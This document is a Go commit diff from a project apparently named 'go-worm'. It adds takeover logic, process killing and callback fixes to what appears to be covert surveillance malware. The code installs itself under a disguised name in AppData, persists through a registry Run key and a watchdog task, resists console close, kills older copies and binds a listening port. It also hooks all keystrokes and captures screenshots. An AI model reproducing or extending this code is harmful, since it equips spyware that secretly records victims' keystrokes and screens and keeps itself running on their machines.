fix(core): take over agent, reuse callbacks

- Kill running agents before replace
- Retry copy with backoff while locked
- Reuse syscall callbacks at package scope
- Add callback regression test

lib/helpers/callback_once_test.go

@@ -0,0 +1,76 @@
+package helpers
+
+import (
+	"go/ast"
+	"go/parser"
+	"go/token"
+	"io/fs"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+// Go never frees syscall.NewCallback (hard cap ~2000). Creating one per
+// screenshot frame is a fatal "too many callback functions".
+func TestNewCallbackOnlyAtPackageScope(t *testing.T) {
+	root := filepath.Join("..", "..")
+	fset := token.NewFileSet()
+	err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error {
+		if err != nil {
+			return err
+		}
+		if d.IsDir() {
+			name := d.Name()
+			if name == ".git" || name == "vendor" || name == "testdata" {
+				return filepath.SkipDir
+			}
+			return nil
+		}
+		if !strings.HasSuffix(path, ".go") {
+			return nil
+		}
+		file, err := parser.ParseFile(fset, path, nil, 0)
+		if err != nil {
+			t.Errorf("parse %s: %v", path, err)
+			return nil
+		}
+		for _, decl := range file.Decls {
+			fn, ok := decl.(*ast.FuncDecl)
+			if !ok {
+				continue
+			}
+			ast.Inspect(fn, func(n ast.Node) bool {
+				if !isNewCallbackCall(n) {
+					return true
+				}
+				name := fn.Name.Name
+				if fn.Recv != nil {
+					name = "method " + name
+				}
+				t.Errorf("%s: syscall.NewCallback inside %s; Go never frees these (cap ~2000)", fset.Position(n.Pos()), name)
+				return true
+			})
+		}
+		return nil
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+}
+
+func isNewCallbackCall(n ast.Node) bool {
+	call, ok := n.(*ast.CallExpr)
+	if !ok {
+		return false
+	}
+	sel, ok := call.Fun.(*ast.SelectorExpr)
+	if !ok {
+		return false
+	}
+	switch sel.Sel.Name {
+	case "NewCallback", "NewCallbackCDecl":
+		return true
+	default:
+		return false
+	}
+}

lib/install/install.go

@@ -6,12 +6,21 @@ import (
 	"os"
 	"path/filepath"
 	"strings"
+	"time"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
+	"tea.chunkbyte.com/kato/go-worm/lib/instance"
+	"tea.chunkbyte.com/kato/go-worm/lib/startup"
 )
 
+const replaceWait = 8 * time.Second
+
 // Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
 // refreshes an existing startup entry to that path, and re-launches from there.
+// If an older agent is already installed or listening, it is torn down first.
+// Old builds have no version field to compare, so any launch from outside
+// the install path takes over.
 func Ensure() error {
 	target, err := config.InstalledExe()
 	if err != nil {
@@ -34,19 +43,47 @@ func Ensure() error {
 		return nil
 	}
 
-	if err := copyExe(current, target); err != nil {
+	hadStartup := startup.Enabled()
-		if _, statErr := os.Stat(target); statErr != nil {
+	takeover(target)
-			return fmt.Errorf("copy to %s: %w", target, err)
+	if err := replaceExe(current, target); err != nil {
+		return fmt.Errorf("copy to %s: %w", target, err)
+	}
+	if hadStartup {
+		if err := startup.Enable(); err != nil {
+			helpers.Log.Printf("takeover: restore startup: %v", err)
 		}
 	}
 
-	if err := syncStartup(); err != nil {
-		return fmt.Errorf("update startup path: %w", err)
-	}
-
 	return relaunchInstalled(target)
 }
 
+func takeover(installed string) {
+	helpers.Log.Printf("takeover: replacing %s", installed)
+	if err := startup.Disable(); err != nil {
+		helpers.Log.Printf("takeover: disable old startup: %v", err)
+	}
+	if err := instance.KillOtherAgents(); err != nil {
+		helpers.Log.Printf("takeover: kill: %v", err)
+	}
+}
+
+func replaceExe(from, to string) error {
+	deadline := time.Now().Add(replaceWait)
+	var last error
+	for {
+		_ = instance.KillOtherAgents()
+		_ = os.Remove(to)
+		last = copyExe(from, to)
+		if last == nil {
+			return nil
+		}
+		if time.Now().After(deadline) {
+			return last
+		}
+		time.Sleep(100 * time.Millisecond)
+	}
+}
+
 func copyExe(from, to string) error {
 	if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
 		return err

lib/instance/console_windows.go

@@ -17,7 +17,7 @@ var (
 	procGetFileType      = kernel32.NewProc("GetFileType")
 	user32               = syscall.NewLazyDLL("user32.dll")
 	procShowWindow       = user32.NewProc("ShowWindow")
-	consoleCtrlCallback  uintptr
+	consoleCtrlCallback  = syscall.NewCallback(consoleCtrlHandler)
 )
 
 const (
@@ -58,17 +58,11 @@ func ShowConsole() {
 // ProtectFromConsoleClose ignores Ctrl+C/Break/close so Task Scheduler and
 // explorer do not kill the process when the flashed console goes away.
 func ProtectFromConsoleClose() {
-	if consoleCtrlCallback == 0 {
-		consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler)
-	}
 	_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
 }
 
 // AllowConsoleKill restores default Ctrl+C handling for -foreground.
 func AllowConsoleKill() {
-	if consoleCtrlCallback == 0 {
-		return
-	}
 	_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0)
 }
 

lib/instance/kill.go

@@ -0,0 +1,32 @@
+package instance
+
+import (
+	"path/filepath"
+	"strings"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+func shouldKill(selfPID, pid uint32, selfPath, imagePath, installed, exeName string) bool {
+	if pid == 0 || pid == selfPID {
+		return false
+	}
+	if imagePath != "" && sameFilePath(imagePath, selfPath) {
+		return false
+	}
+	if installed != "" && imagePath != "" && sameFilePath(imagePath, installed) {
+		return true
+	}
+	base := exeName
+	if base == "" && imagePath != "" {
+		base = filepath.Base(imagePath)
+	}
+	return strings.EqualFold(base, config.InstalledExeName)
+}
+
+func sameFilePath(a, b string) bool {
+	if a == "" || b == "" {
+		return false
+	}
+	return strings.EqualFold(filepath.Clean(a), filepath.Clean(b))
+}

lib/instance/kill_stub.go

@@ -0,0 +1,5 @@
+//go:build !windows
+
+package instance
+
+func KillOtherAgents() error { return nil }

lib/instance/kill_test.go

@@ -0,0 +1,31 @@
+package instance
+
+import "testing"
+
+func TestShouldKill(t *testing.T) {
+	t.Parallel()
+	const (
+		self      uint32 = 10
+		selfPath         = `C:\Users\me\Downloads\win64_mp.exe`
+		installed        = `C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe`
+	)
+	cases := []struct {
+		pid     uint32
+		image   string
+		exeName string
+		want    bool
+	}{
+		{self, selfPath, "win64_mp.exe", false},
+		{11, installed, "win64_mp.exe", true},
+		{11, `C:\Temp\win64_mp.exe`, "win64_mp.exe", true},
+		{11, "", "win64_mp.exe", true},
+		{11, `C:\Windows\System32\notepad.exe`, "notepad.exe", false},
+		{0, installed, "win64_mp.exe", false},
+	}
+	for _, tc := range cases {
+		got := shouldKill(self, tc.pid, selfPath, tc.image, installed, tc.exeName)
+		if got != tc.want {
+			t.Fatalf("shouldKill pid=%d image=%q name=%q = %v, want %v", tc.pid, tc.image, tc.exeName, got, tc.want)
+		}
+	}
+}

lib/instance/kill_windows.go

@@ -0,0 +1,73 @@
+//go:build windows
+
+package instance
+
+import (
+	"os"
+	"path/filepath"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+// KillOtherAgents terminates other win64_mp processes so this build can
+// replace the AppData install and bind 5032. Skips this PID.
+func KillOtherAgents() error {
+	self := uint32(os.Getpid())
+	selfPath, err := os.Executable()
+	if err == nil {
+		selfPath, _ = filepath.Abs(selfPath)
+	}
+	installed, err := config.InstalledExe()
+	if err == nil {
+		installed, _ = filepath.Abs(installed)
+	}
+
+	snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
+	if err != nil {
+		return err
+	}
+	defer windows.CloseHandle(snap)
+
+	var pe windows.ProcessEntry32
+	pe.Size = uint32(unsafe.Sizeof(pe))
+	if err := windows.Process32First(snap, &pe); err != nil {
+		return err
+	}
+	for {
+		exeName := windows.UTF16ToString(pe.ExeFile[:])
+		image := processImage(pe.ProcessID)
+		if shouldKill(self, pe.ProcessID, selfPath, image, installed, exeName) {
+			_ = terminatePID(pe.ProcessID)
+		}
+		if err := windows.Process32Next(snap, &pe); err != nil {
+			break
+		}
+	}
+	return nil
+}
+
+func processImage(pid uint32) string {
+	h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
+	if err != nil {
+		return ""
+	}
+	defer windows.CloseHandle(h)
+	var buf [1024]uint16
+	n := uint32(len(buf))
+	if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &n); err != nil {
+		return ""
+	}
+	return windows.UTF16ToString(buf[:n])
+}
+
+func terminatePID(pid uint32) error {
+	h, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, pid)
+	if err != nil {
+		return err
+	}
+	defer windows.CloseHandle(h)
+	return windows.TerminateProcess(h, 1)
+}

lib/keylog/hook_windows.go

@@ -76,6 +76,8 @@ var (
 	hookMods     modifierState
 	lastHWND     uintptr
 	lastTitle    string
+	// ponytail: NewCallback is never freed; reuse across Start/Stop.
+	hookCB = syscall.NewCallback(keyboardHookProc)
 )
 
 func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
@@ -120,8 +122,7 @@ func runHookThread(ready chan struct{}) error {
 	hookThreadID = windowsGetCurrentThreadId()
 	close(ready)
 
-	hookProc := syscall.NewCallback(keyboardHookProc)
+	handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookCB, 0, 0)
-	handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookProc, 0, 0)
 	if handle == 0 {
 		return err
 	}

lib/screenshot/screenshot.go

@@ -161,7 +161,9 @@ func attachInputDesktop() error {
 var (
 	enumMu  sync.Mutex
 	enumBuf []rect
-	enumCB  = syscall.NewCallback(enumMonitor)
+	// ponytail: syscall.NewCallback is process-global and never freed (~2000 max).
+	// A closure here every frame is a fatal "too many callback functions".
+	enumCB = syscall.NewCallback(enumMonitor)
 )
 
 func enumMonitor(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {

lib/startup/startup.go

@@ -45,23 +45,24 @@ func SyncInstalledPath() error {
 }
 
 func Disable() error {
+	var regErr error
 	k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
 	if err != nil {
-		if errors.Is(err, registry.ErrNotExist) {
+		if !errors.Is(err, registry.ErrNotExist) {
-			return nil
+			regErr = err
+		}
+	} else {
+		err = k.DeleteValue(config.StartupValueName)
+		_ = k.Close()
+		if err != nil && !errors.Is(err, registry.ErrNotExist) {
+			regErr = err
 		}
-		return err
 	}
-	defer k.Close()
+	taskErr := disableWatchdog()
-	err = k.DeleteValue(config.StartupValueName)
+	if regErr != nil {
-	if errors.Is(err, registry.ErrNotExist) {
+		return regErr
-		_ = disableWatchdog()
-		return nil
 	}
-	if err != nil {
+	return taskErr
-		return err
-	}
-	return disableWatchdog()
 }
 
 func installedCommandLine() (string, error) {